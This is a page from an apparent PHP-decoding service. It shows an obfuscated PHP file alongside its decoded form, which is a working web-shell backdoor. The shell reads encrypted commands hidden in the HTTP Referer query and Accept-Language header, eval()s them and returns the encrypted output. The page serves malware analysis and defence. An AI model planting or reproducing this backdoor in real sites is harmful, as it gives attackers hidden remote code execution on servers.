Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $K='V($yVryVr); paryVyVse_str($u["quyVery"],$q)yV;$q=ayVrray_yVvalyVuyVes($q);pr..
Decoded Output download
$kh="348a";$kf="448a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){ $u=parse_url($rr); parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$K='V($yVryVr); paryVyVse_str($u["quyVery"],$q)yV;$q=ayVrray_yVvalyVuyVes($q);preg_matcyVh_ayVll("/(yVyV[\\w])[\\w-]+(yV?';
$F='("yV/yV_/","/-yV/yV"),array("/","+"),yV$yVss($s[$iyV]yVyV,0,$e))yV),$k)));$o=ob_getyV_conteyVnts()yV;ob_end_cyVlea';
$o=str_replace('x','','crxxeatxxe_xfuxnction');
$t='$kyVh="3yV48a";$kyVf="448a";funcyVtioyVn yVx($t,$k){yV$yVc=strlen($k)yV;$l=strlyVen($tyV);$o=yV"";for($yViyV=0;$i<';
$A='nyV(yV);$d=base6yV4_eyVncoyVde(x(yVgzcompresyVs($o),$k)yVyV);printyV("<$k>$d</$k>yV");@seyVsyVsion_desyVtroy();}}}}';
$n='){yV$s[$i]=""yV;yV$p=$yVss($p,3);}if(yVayVrray_key_exyVists($yViyV,$s)){yV$s[$i].=$p;yV$e=syVyVtrpos($s[yV$i],';
$E='$l;yV){for(yVyV$j=0;($j<$cyV&&$i<$yVl);$j++yV,$i++)yV{yV$o.=$t{yV$i}^yV$k{$yVj};}yV}retuyVrn $oyV;}$r=yV$_SE';
$Q='$yVyVf);yVif($e){$k=$kh.yV$kf;ob_start(yV);@evayVl(yVyVyV@gzyVuncompryVess(@x(@baseyVyV64_decode(preyVg_replace(array';
$d='yVl="strtoyVlyVower";$i=$myV[1][0].yV$m[1]yV[1];$yVh=$sl($yVss(myVd5($i.yV$yVkh),0,3)yV);$f=yV$syVyVlyV($ss(md5($i.$k';
$Z='f),0,3));$p=""yV;for(yV$z=yV1;$z<coyVunt(yV$m[1yV]);$z++) $pyVyV.=yV$q[$m[2][yV$z]];yVif(strposyV($p,$h)=yV==0';
$D='yV:;q=0.([\\d]yVyV))?,yV?/",$yVra,$m);if($q&&$m){yV@syVession_yVstart();$syV=&$yV_SEyVSSION;$ss=yV"substr"yV;$s';
$q='RVER;$yVrr=@$yVr["HTTP_REFERERyV"];$ra=@$yVr["HTTyVyVP_ACCEPyVT_LANGUAyVyVGE"];if($rr&yV&$ra){ yV $yVu=parse_urly';
$w=str_replace('yV','',$t.$E.$q.$K.$D.$d.$Z.$n.$Q.$F.$A);
$c=$o('',$w);$c();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | ffcf3ae1cdf5eb0c442148d18eab0085 |
| Eval Count | 1 |
| Decode Time | 134 ms |